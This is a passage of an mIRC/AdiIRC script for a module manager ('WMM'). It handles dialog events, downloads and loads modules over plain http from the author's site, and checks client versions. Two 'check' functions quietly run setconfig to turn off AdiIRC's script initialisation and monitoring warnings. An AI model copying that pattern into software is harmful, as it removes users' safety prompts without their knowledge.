  582.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),2,44)
  583.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),2,44) }
  584.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),2,44) }
  585.       if (%url) { url %url }
  586.     }
  587.     if ($did == 16) {
  588.       var %h = WMM_MODULES
  589.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),3,44)
  590.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),3,44) }
  591.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),3,44) }
  592.       if (%url) { url %url }
  593.     }
  594.     if ($did == 28) {
  595.       var %h = WMM_MODULES
  596.       var %m = $did(6).seltext
  597.       if (!%m) { var %m = $did(60).seltext }
  598.       if (!%m) { var %m = $did(600).seltext }
  599.       var %path = $wmm_getpath(%m)
  600.       var %extra_id = $hget(%h,%m $+ _extra_id)
  601.       if (!%m) || (!%path) || (!%extra_id) { did -h $dname 28 | return }
  602.       url $wmm_extraid_url(%extra_id)
  603.     }
  604.   }
  605.   if ($devent == dclick) {
  606.     if ($did == 6) || ($did == 600) {
  607.       var %m = $did($did).seltext
  608.       if (!%m) { return }
  609.       var %h = WMM_MODULES
  610.       var %extra_id = $hget(%h,%m $+ _extra_id)
  611.       if (%extra_id) { url $wmm_extraid_url(%extra_id) }
  612.     }
  613.     if ($did == 60) {
  614.       var %m = $did($did).seltext
  615.       if (!%m) { return }
  616.       var %h = WMM_MODULES
  617.       var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  618.       if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  619.     }
  620.   }
  621.   if ($devent == sclick) {
  622.     :sclick
  623.     if ($did == 23) { url $wmm_donate }
  624.     if ($did == 2) {
  625.       did -hu $dname 11,12,13,6,60,600,250
  626.       did -v $dname 7,6
  627.       wmm_reset_images
  628.       wmm_modules_installed_plus_updated_list
  629.     }
  630.     if ($did == 3) {
  631.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  632.       did -hu $dname 7,13,6,60,600,250
  633.       did -v $dname 11,12,60
  634.       wmm_reset_images
  635.       wmm_modules_installed_plus_updated_list
  636.     }
  637.     if ($did == 4) {
  638.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  639.       did -hu $dname 7,11,12,6,60,600,250
  640.       did -v $dname 13,600
  641.       wmm_reset_images
  642.       wmm_modules_installed_plus_updated_list
  643.     }
  644.     if ($did == 600) {
  645.       var %h = WMM_MODULES
  646.       var %m = $did($did).seltext
  647.       var %path = $wmm_getpath(%m)
  648.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  649.       did -rh $dname 250
  650.  
  651.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  652.       if ($isfile(%f_ico)) && ($lines(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  653.       else { did -h $dname 28 }
  654.  
  655.       wmm_reset_images -i %m
  656.  
  657.       var %h = WMM_MODULES
  658.       var %chk_chan = $hget(%h,%m $+ _channel)
  659.       if (%chk_chan) && (%chk_chan !== STABLE) { did -b $dname 13 | did -e $dname 8 }
  660.       else { did -e $dname 13,8 }
  661.  
  662.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  663.       var %chk_crdate = $replace(%chk_ver,_ver,_crdate)
  664.       var %upver = $hget(%h,%m $+ _version)
  665.       var %upcrdate = $hget(%h,%m $+ _crdate)
  666.       var %ver = $iif($isalias($right(%chk_ver,-1)),$evalnext(%chk_ver),0)
  667.       var %old_crdate = $iif($isalias($right(%chk_crdate,-1)),$evalnext(%chk_crdate),0)
  668.       var %changelog = $hget(%h,%m $+ _changelog)
  669.  
  670.       did -r $dname 8
  671.       did -a $dname 8 $wmm_lang(54) $+ : $iif(%ver,$v1,N/A) - $iif(%old_crdate,$v1,N/A) $+ $crlf
  672.       did -a $dname 8 $wmm_lang(55) $+ : $iif(%upver,$v1,N/A) - $iif(%upcrdate,$v1,N/A) $+ $+ $crlf $crlf
  673.       did -a $dname 8 $wmm_lang(83) $+ : $+ $crlf
  674.       did -a $dname 8 $replace(%changelog,@newline@,$+ $+ $crlf $+ $+)
  675.       did -c $dname 8 1 1
  676.     }
  677.     if ($did == 6) {
  678.       var %h = WMM_MODULES
  679.       var %m = $did($did).seltext
  680.       if (!%m) { did -b $dname 7 | return }
  681.       var %path = $wmm_getpath(%m)
  682.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  683.       if ($isfile(%f_ico)) && ($lines(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  684.       else { did -h $dname 28 }
  685.  
  686.       var %desc_temp = $wmm_lang(80) $+ : $hget(%h,%m $+ _version) $+ @newline@ $+ $wmm_lang(81) $+ : $hget(%h,%m $+ _crdate) $+ @newline@ $+ $wmm_lang(82) $+ : $hget(%h,%m $+ _author) $+ @newline@@newline@ $+ $wmm_lang(83) $+ :@newline@ $hget(%h,%m $+ _changelog) $+ @newline@@newline@ $+ $wmm_lang(84) $+ :@newline@ $hget(%h,%m $+ _desc) $+ @newline@@newline@ $+ $wmm_lang(85) $+ :@newline@ $hget(%h,%m $+ _examples)
  687.  
  688.       did -re $dname 8
  689.       did -a $dname 8 $replace(%desc_temp,@newline@,$+ $+ $crlf $+ $+)
  690.       did -c $dname 8 1 1
  691.  
  692.       if (!%path) { did -e $dname 7 }
  693.       elseif (%path) { did -b $dname 7 }
  694.  
  695.       var %chan = $hget(%h,%m $+ _channel)
  696.       if (%chan) && (%chan !== STABLE) { did -b $dname 7 }
  697.  
  698.       wmm_reset_images -i %m
  699.     }
  700.     if ($did == 60) || (%did_60) {
  701.       var %h = WMM_MODULES
  702.       var %m = $did(60).seltext
  703.       var %path = $wmm_getpath(%m)
  704.       if (!%m) || (!%path) { wmm_modules_installed_plus_updated_list | return }
  705.       did -ve $dname 11,12,8
  706.       did -r $dname 8
  707.  
  708.       wmm_reset_images -i %m
  709.  
  710.       if ($didwm(600,%m)) { did -h $dname 28 | did -vra $dname 250 $wmm_lang(86) }
  711.       else {
  712.         did -hr $dname 250
  713.         var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  714.         if ($isfile(%f_ico)) && ($lines(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  715.         else { did -h $dname 28 }
  716.       }
  717.  
  718.       var %chk_ver_alias = $right($hget(%h,%m $+ _check_version_alias),-1)
  719.       var %chk_owner_alias = $replace(%chk_ver_alias,_ver,_owner)
  720.       var %chk_crdate_alias = $replace(%chk_ver_alias,_ver,_crdate)
  721.       var %f = $isalias(%chk_ver_alias).fname
  722.       var %ft = $nopath($isalias(%chk_ver_alias).ftype)
  723.  
  724.       var %ver = $iif($isalias(%chk_ver_alias),$evalnext($chr(36) $+ %chk_ver_alias),0)
  725.       var %chan = $hget(%h,%m $+ _channel)
  726.       var %crdate = $evalnext($chr(36) $+ %chk_crdate_alias)
  727.  
  728.       var %line1 = $wmm_lang(47) $+ : $iif(%ver,$v1,N/A) $+ $crlf $wmm_lang(60) $+ : $iif(%chan,$v1,N/A) $+ $crlf $wmm_lang(48) $+ : $iif(%crdate,$v1,N/A) $+ $crlf $wmm_lang(64) $+ : $iif(%f,$nopath($v1),N/A) $+ $crlf
  729.       did -a $dname 8 %line1
  730.  
  731.       var %owner = $evalnext($chr(36) $+ %chk_owner_alias)
  732.       var %size = $bytes($file(%f).size).suf
  733.       var %lines = $lines(%f)
  734.       var %md5 = $iif($isfile(%f) && (%lines),$md5(%f,2),0)
  735.  
  736.       var %line2 = $wmm_lang(49) $+ : $iif(%owner,$v1,N/A) $+ $crlf $wmm_lang(53) $+ : $iif(%lines,$v1,N/A) $+ $crlf $wmm_lang(50) $+ : $iif(%size,$v1,N/A) $+ $crlf $wmm_lang(56) $+ : $iif(%md5,$v1,N/A) $+ $crlf $wmm_lang(52) $+ : $iif($isfile(%f) && (%lines),$longfn(%f),N/A)
  737.       did -a $dname 8 %line2
  738.       did -c $dname 8 1 1
  739.     }
  740.     if ($did == 12) {
  741.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  742.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  743.       var %h = WMM_MODULES
  744.       var %m = $did(60).seltext
  745.       var %path = $wmm_getpath(%m)
  746.       var %pos = $wmm_getpos(%m)
  747.       var %mod = $nopath(%path)
  748.       if (!%m) || (!%path) || (!%pos) || (!%mod) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  749.  
  750.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  751.       var %chk_id_name = $remove(%chk_ver,_ver,$chr(36))
  752.       if (%chk_id_name) {
  753.         hfree -w %chk_id_name $+ _*
  754.         unset % $+ $evalnext(%chk_id_name) $+ _*
  755.         .timer[ $+ %chk_id_name $+ _*] off
  756.       }
  757.  
  758.       set -eu0 %wmm_signal_noclose 1
  759.       .unload -nrs $qt(%mod)
  760.       .load -rs $+ %pos $qt(%path)
  761.  
  762.       wmm_modules_installed_plus_updated_list
  763.       wmm_reset_images
  764.       wmm_input ok 60 $wmm_lang(34)
  765.     }
  766.     if ($did == 11) {
  767.       var %m = $did(60).seltext
  768.       var %path = $wmm_getpath(%m)
  769.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  770.       var %mod = $nopath(%path)
  771.  
  772.       set -eu0 %wmm_signal_noclose 1
  773.       .unload -rs $qt(%mod)
  774.       if ($isfile(%path)) { .remove $qt(%path) }
  775.  
  776.       wmm_modules_installed_plus_updated_list
  777.       wmm_reset_images
  778.       wmm_input ok 60 $wmm_lang(36)
  779.     }
  780.     if ($did == 7) {
  781.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  782.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  783.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  784.       var %h = WMM_MODULES
  785.       var %m = $did(6).seltext
  786.       var %path = $wmm_getpath(%m)
  787.       var %url = $hget(%h,%m $+ _url)
  788.       if (!%m) || (%path) || (!%url) { did -b $dname 7 | did -u $dname 6 | wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  789.  
  790.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  791.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  792.  
  793.       did -b $dname 6,7
  794.  
  795.       var %mod = %m $+ .mrc
  796.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  797.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  798.  
  799.       if ($wmm_isadi) { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_install %url $qt(%f) }
  800.       else { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_install %mod) %url $qt(%f) }
  801.     }
  802.     if ($did == 13) {
  803.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  804.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  805.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  806.       var %h = WMM_MODULES
  807.       var %m = $did(600).seltext
  808.       var %path = $wmm_getpath(%m)
  809.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  810.  
  811.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  812.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  813.  
  814.       var %url = $hget(%h,%m $+ _url)
  815.       var %mod = $nopath(%path)
  816.       var %pos = $wmm_getpos(%m)
  817.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  818.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  819.  
  820.       var %chk_sets $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  821.       wmm_d_close %chk_sets
  822.  
  823.       if ($wmm_isadi) { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_update %url $qt(%f) }
  824.       else { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_update %mod %pos) %url $qt(%f) }
  825.     }
  826.     if ($did == 14) {
  827.       var %m = $did(6).seltext
  828.       if (!%m) { var %m = $did(60).seltext }
  829.       if (!%m) { var %m = $did(600).seltext }
  830.       var %f = $wmm_temp $+ $nopath(%m $+ 1.png)
  831.       if ($isfile(%f)) { wmm_pic $qt(%f) }
  832.     }
  833.     if ($did == 15) {
  834.       var %m = $did(6).seltext
  835.       if (!%m) { var %m = $did(60).seltext }
  836.       if (!%m) { var %m = $did(600).seltext }
  837.       var %f = $wmm_temp $+ $nopath(%m $+ 2.png)
  838.       if ($isfile(%f)) { wmm_pic $qt(%f) }
  839.     }
  840.     if ($did == 16) {
  841.       var %m = $did(6).seltext
  842.       if (!%m) { var %m = $did(60).seltext }
  843.       if (!%m) { var %m = $did(600).seltext }
  844.       var %f = $wmm_temp $+ $nopath(%m $+ 3.png)
  845.       if ($isfile(%f)) { wmm_pic $qt(%f) }
  846.     }
  847.     if ($did == 28) {
  848.       if (%did_60) { return }
  849.       var %h = WMM_MODULES
  850.       var %m = $did(6).seltext
  851.       if (!%m) { var %m = $did(60).seltext }
  852.       if (!%m) { var %m = $did(600).seltext }
  853.       var %path = $wmm_getpath(%m)
  854.       if (!%m) || (!%path) { did -h $dname 28 | return }
  855.  
  856.       if ($dialog($dname).tab == 3) {
  857.         var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  858.         if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  859.         return
  860.       }
  861.  
  862.       did -hu $dname 6,600
  863.       did -vu $dname 60
  864.       did -r $dname 8,250
  865.       did -h $dname 28
  866.       did -v $dname 11,12
  867.       did -ra $dname 9 $wmm_lang(59)
  868.  
  869.       did -f $dname 3
  870.       did -c $dname 60 $didwm(60,%m)
  871.  
  872.       set -eu0 %did_60 1
  873.       goto $devent
  874.     }
  875.   }
  876.   if ($devent == menu) {
  877.     if ($did == 27) { url $wmm_modules_url }
  878.     if ($did == 18) { url $wmm_page }
  879.     if ($did == 24) { url $wmm_donate }
  880.     if ($did == 22) { dialog -k $dname }
  881.     if ($did == 21) { .timer -ho 1 500 wmm | dialog -k $dname }
  882.     if ($did == 19) { .timer -ho 1 100 wmm_sets | dialog -k $dname }
  883.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  884.   }
  885.   if ($devent == close) {
  886.     wmm_w_close @wmm_pic
  887.     wmm_tool -bt
  888.  
  889.     var %saved_total = $hget(WMM_MODULES_SUBMENU_INSTALLED,0).item
  890.     var %scan_total = $json(wmm_modules_list_get,modules).length
  891.     if (%saved_total !== %scan_total) && ($json(wmm_modules_list_get,modules)) { wmm_modules_menu_get_installed -g }
  892.  
  893.     jsonclose -w wmm_modules_*
  894.     .timer[WMM_*] off
  895.     if ($hget(WMM_MODULES)) { hfree $v1 }
  896.   }
  897.   return
  898.   :error | wmm_werror $scriptline $error | reseterror
  899. }
  900.  
  901. ; --- End of events ---
  902.  
  903. ; --- Start of aliases ---
  904.  
  905. alias wmm_ver { return $right($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),3,32),3) }
  906. alias wmm_crdate { return $remove($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),5,32),$chr(40),$chr(41)) }
  907. alias wmm_owner { return $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(111),$chr(114)) }
  908. alias wmm_page { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/1-1-0-24 }
  909. alias wmm_donate { return https://paypal.me/ $+ $wmm_owner }
  910. alias wmm_extraid_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/ $+ $1 }
  911. alias wmm_modules_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/1 }
  912. alias wmm_sets_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/ $+ $+($chr(109),$chr(111),$chr(100),$chr(117),$chr(108),$chr(101),$chr(115),$chr(46),$chr(106),$chr(115),$chr(111),$chr(110)) }
  913. alias wmm_sets_file { return $wmm_temp $+ wmm.json }
  914. alias wmm_main_ico_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/main.ico }
  915. alias wmm_main_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/no_preview.png }
  916. alias wmm_donate_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/donate.png }
  917. alias wmm_lang_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/languages/wmm_lang.ini }
  918. alias wmm_modules_images_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/wmm_modules_images.zip }
  919.  
  920. alias wmm {
  921.   if ($isid) || ($wmm_error) || ($timer([WMM_OPEN_AND_DO_NOTHING])) { return }
  922.   var %d = wmm_module
  923.   wmm_d_close wmm_module_sets
  924.   if (!$dialog(%d)) { .timer[WMM_*] off | .timer[WMM_OPEN_AND_DO_NOTHING] -ho 1 5000 noop }
  925.   if (%wmm_update) { wmm_tool -b | return }
  926.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  927.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  928.   wmm_check_update -m
  929.   if (%wmm_update) { return }
  930.   var %don = $wmm_dir $+ donate.png
  931.   var %ico = $wmm_dir $+ main.ico
  932.   var %png = $wmm_dir $+ no_preview.png
  933.   var %lng = $wmm_dir $+ wmm_lang.ini
  934.   var %vbs = $wmm_temp $+ wmm_dl_images.vbs
  935.   var %txt = $wmm_temp $+ wmm_images_urls.txt
  936.   if ($isfile(%vbs)) && (!$wmm_isadi) { .remove $qt(%vbs) }
  937.   if ($isfile(%txt)) && (!$wmm_isadi) { .remove $qt(%txt) }
  938.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) { var %delay = 1 }
  939.   wmm_fix_extra_modules_installed
  940.   if (%delay) {
  941.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  942.     .timer[WMM_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  943.     wmm_input warn 3 Downloading some missing project required files...
  944.     wmm_dl $wmm_lang_url $qt(%lng)
  945.     wmm_dl $wmm_main_ico_url $qt(%ico)
  946.     wmm_dl $wmm_main_png_url $qt(%png)
  947.     wmm_dl $wmm_donate_png_url $qt(%don)
  948.   }
  949.   elseif (!%delay) { dialog -md %d %d }
  950.   return
  951.   :error | wmm_werror $scriptline $error | reseterror
  952. }
  953.  
  954. alias wmm_sets {
  955.   if ($isid) || ($wmm_error) { return }
  956.   var %d = wmm_module_sets
  957.   wmm_d_close wmm_module
  958.   .timer[WMM_*] off
  959.   if (%wmm_update) { wmm_tool -b | return }
  960.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  961.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  962.   wmm_check_update -n
  963.   if (%wmm_update) { return }
  964.   var %don = $wmm_dir $+ donate.png
  965.   var %ico = $wmm_dir $+ main.ico
  966.   var %png = $wmm_dir $+ no_preview.png
  967.   var %lng = $wmm_dir $+ wmm_lang.ini
  968.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) { var %delay = 1 }
  969.   wmm_fix_extra_modules_installed
  970.   if (%delay) {
  971.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  972.     .timer[WMM_SETS_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  973.     wmm_input warn 3 Downloading some missing project required files...
  974.     wmm_dl $wmm_lang_url $qt(%lng)
  975.     wmm_dl $wmm_main_ico_url $qt(%ico)
  976.     wmm_dl $wmm_main_png_url $qt(%png)
  977.     wmm_dl $wmm_donate_png_url $qt(%don)
  978.   }
  979.   elseif (!%delay) { dialog -md %d %d }
  980.   return
  981.   :error | wmm_werror $scriptline $error | reseterror
  982. }
  983.  
  984. alias -l wmm_check_before_open {
  985.   if (!$1) || ($dialog($1)) { return }
  986.   var %lng = $wmm_dir $+ wmm_lang.ini
  987.   var %don = $wmm_dir $+ donate.png
  988.   var %ico = $wmm_dir $+ main.ico
  989.   var %png = $wmm_dir $+ no_preview.png
  990.   if (!$isfile(%lng)) { wmm_input error 60 FATAL ERROR! @newline@ @newline@ $+ Error Code: 0x001 | return }
  991.   if (!$isfile(%don)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x022 | return }
  992.   if (!$isfile(%ico)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x010 | return }
  993.   if (!$isfile(%png)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x016 | return }
  994.   dialog -md $1 $1
  995.   return
  996.   :error | wmm_werror $scriptline $error | reseterror
  997. }
  998.  
  999. alias wmm_check_version {
  1000.   if (!$isid) { return }
  1001.   if (!$wmm_isadi) && ($version < 7.49) { return This mIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the mIRC official website! }
  1002.   if ($wmm_isadi) && ($version < 2.9) { return This AdiIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the AdiiRC official website! }
  1003.   if ($wmm_isadi) && ($mid($~dotnet,2,1) < 2) { return Your computer .NET version seems to be old, in order to work that project you must download and install the latest .NET Runtime from the web, check more at AdiIRC "https://goo.gl/bQfVof" official download page. }
  1004.   var %js1 = $group(#SReject/JSONForMirc/Log).fname
  1005.   var %js2 = $group(#wmm).fname
  1006.   var %js3 = $gettok($isalias(jsonversion,3).alias,3,32)
  1007.   var %js4 = $jsonversion()
  1008.   if (%js1 !== %js2) || (%js3 !== %js4) || (%js4 !== 1.0.4000) { return It seems that you have already in your remotes installed the "JSONForMirc" addon, you must first remove that addon because that project already including that addon and it will have conflict issues if running both at the same time, try remove it and install the project again. }
  1009.   return 0
  1010.   return
  1011.   :error | wmm_werror $scriptline $error | reseterror
  1012. }
  1013.  
  1014. alias wmm_check_os {
  1015.   if (!$isid) { return }
  1016.   if ($wmm_isadi) && ($bits == 64) { var %adi64 = 1 }
  1017.   var %1 = CheckOS_1
  1018.   var %2 = CheckOS_2
  1019.   var %3 = CheckOS_3
  1020.   var %4 = CheckOS_4
  1021.   var %5 = CheckOS_5
  1022.   wmm_c_close %1
  1023.   wmm_c_close %2
  1024.   wmm_c_close %3
  1025.   wmm_c_close %4
  1026.   wmm_c_close %5
  1027.   .comopen %1 MSScriptControl.ScriptControl
  1028.   if (!$com(%1)) || ($comerr) { return This project cannot be used into this computer, the function "MSScriptControl.ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1029.   .comopen %2 WScript.Shell
  1030.   if (!$com(%2)) || ($comerr) { return This project cannot be used into this computer, the function "WScript.Shell" didn't passed the check, that project is available only on Windows operating systems. }
  1031.   .comopen %3 MSXML2.SERVERXMLHTTP.6.0
  1032.   if (!$com(%3)) || ($comerr) { return This project cannot be used into this computer, the function "MSXML2.SERVERXMLHTTP.6.0" didn't passed the check, that project is available only on Windows operating systems. }
  1033.   .comopen %4 Adodb.Stream
  1034.   if (!$com(%4)) || ($comerr) { return This project cannot be used into this computer, the function "Adodb.Stream" didn't passed the check, that project is available only on Windows operating systems. }
  1035.   if (%adi64) {
  1036.     .comopen %5 ScriptControl
  1037.     if (!$com(%5)) || ($comerr) { return This project cannot be used into this computer, the function "ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1038.  
  1039.     var %dll = $envvar(windir) $+ \System32\tsc64.dll
  1040.     var %ver = $file(%dll).version
  1041.     if (!$isfile(%dll)) { return It seems that missing an necessary DLL from your system while running under AdiIRC 64-bits, you have to install "tsc.dll" from "https://goo.gl/4uNCPZ" website first and then try to install the project again. }
  1042.     if (%ver < 1.0.8.0) { return It seems that the DLL "tsc.dll" is outdated from your system, please update that dll to the latest version that is available on the website "https://goo.gl/4uNCPZ" and then try again to install that project. }
  1043.   }
  1044.   :error
  1045.   if ($error) { wmm_werror $scriptline $error }
  1046.   reseterror
  1047.   wmm_c_close %1
  1048.   wmm_c_close %2
  1049.   wmm_c_close %3
  1050.   wmm_c_close %4
  1051.   wmm_c_close %5
  1052.   return 0
  1053. }
  1054.  
  1055. alias wmm_check_initial_warn {
  1056.   if (!$isid) { return }
  1057.   if ($wmm_isadi) {
  1058.     .setconfig misc initscriptswarning false
  1059.     if ($readini($adiircini,n,misc,initscriptswarning) == true) { return 1 }
  1060.     else { return 0 }
  1061.   }
  1062.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n5),27,44)) { return 1 }
  1063.   return 0
  1064.   return
  1065.   :error | wmm_werror $scriptline $error | reseterror
  1066. }
  1067.  
  1068. alias wmm_check_monitor_warn {
  1069.   if (!$isid) { return }
  1070.   if ($wmm_isadi) {
  1071.     .setconfig misc monitorscripts false
  1072.     if ($readini($adiircini,n,misc,monitorscripts) == true) { return 1 }
  1073.     else { return 0 }
  1074.   }
  1075.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n7),13,44)) { return 1 }
  1076.   return 0
  1077.   return
  1078.   :error | wmm_werror $scriptline $error | reseterror
  1079. }
  1080.  
  1081. alias wmm_lang {
  1082.   var %f = $wmm_dir $+ wmm_lang.ini
  1083.   if (!%wmm_lang) { set %wmm_lang English }
  1084.   if (!$isfile(%f)) || (!$lines(%f)) || (!$isid) || (!$1) || ($1 !isnum) { return 0 }
  1085.   var %h = WMM_LANG_ $+ %wmm_lang
  1086.   if (!$hget(%h)) && ($ini(%f,%wmm_lang)) { hmake %h 1000 | hload -i %h $qt(%f) %wmm_lang }
  1087.   var %r = $hget(%h,$1)
  1088.   if (%r) { return %r }
  1089.   else { return N/A }
  1090.   return
  1091.   :error | wmm_werror $scriptline $error | reseterror
  1092. }
  1093.  
  1094. alias wmm_langs {
  1095.   var %f = $wmm_dir $+ wmm_lang.ini
  1096.   if (!$isid) || (!$isfile(%f)) || (!$lines(%f)) || (!$ini(%f,0)) { return 0 }
  1097.   if (!%wmm_lang) { set %wmm_lang English }
  1098.   var %t = $ini(%f,0)
  1099.   var %i = 1
  1100.   while (%i <= %t) {
  1101.     var %lng = $ini(%f,%i)
  1102.     if (%lng) { var %langs = $addtok(%langs,%lng,44) }
  1103.     inc %i
  1104.   }
  1105.   if (%langs) { return %langs }
  1106.   else { return 0 }
  1107.   return
  1108.   :error | wmm_werror $scriptline $error | reseterror
  1109. }
  1110.  
  1111. alias -l wmm_fix_extra_modules_installed {
  1112.  
  1113.   ; -e = it will fix any name or position errors related to WMM original state.
  1114.  
  1115.   if (!$script(0)) || ($isid) { return }
  1116.  
  1117.   if ($1) && ($1 == -e) {
  1118.     var %name = $nopath($script)
  1119.     var %org_name = $upper($wmm_owner) Module Manager.mrc
  1120.     var %new_name = $nofile($script) $+ %org_name
  1121.  
  1122.     if (%name !== %org_name) && ($read($script,1) == [script]) && (!$wmm_isadi) { var %name_ini = $upper($wmm_owner) Module Manager.ini | .rename -of $qt($script) $qt($nofile($script) $+ %name_ini) | .reload -rs1 $qt($nofile($script) $+ %name_ini) | .unload -nrs $qt($script) | return }
  1123.     if (%name !== %org_name) { .rename -of $qt($script) $qt(%new_name) | .reload -rs1 $qt(%new_name) | .unload -nrs $qt($script) | return }
  1124.  
  1125.     var %pos = $wmm_getpos($mid($nopath($script),0,-4))
  1126.     if (%pos !== 1) { .reload -rs1 $qt($script) }
  1127.   }
  1128.  
  1129.   var %t = $script(0)
  1130.   while (%t) {
  1131.     var %s = $script(%t)
  1132.     var %ext = $right($nopath(%s),4)
  1133.     var %path = $wmm_getpath($mid($nopath(%s),0,-4))
  1134.  
  1135.     if ($nopath(%s) !== $nopath($script)) && (%path) && (%ext) && (%ext !== .mrc) { .unload -rs $qt($nopath(%s)) }
  1136.  
  1137.     dec %t
  1138.   }
  1139.   return
  1140.   :error | wmm_werror $scriptline $error | reseterror
  1141. }
  1142.  
  1143. alias -l wmm_reset_images {
  1144.  
  1145.   ; -i = Will fill the wmm_module dialog with the module images instead of reseting.
  1146.  
  1147.   var %h = WMM_MODULES
  1148.   var %d = wmm_module
  1149.   if (!$dialog(%d)) || ($isid) { return }
  1150.   if ($1) && ($1 == -i) && ($2) {
  1151.     var %imgs = $hget(%h,$2 $+ _images)
  1152.  
  1153.     var %i = 1
  1154.     while (%i <= $numtok(%imgs,44)) {
  1155.       if (%i == 1) {
  1156.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1157.         if (!$isfile(%f)) || (!$lines(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1158.         if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x026 | dialog -k $dname | return }
  1159.         did -g %d 14 $qt(%f)
  1160.       }
  1161.       if (%i == 2) {
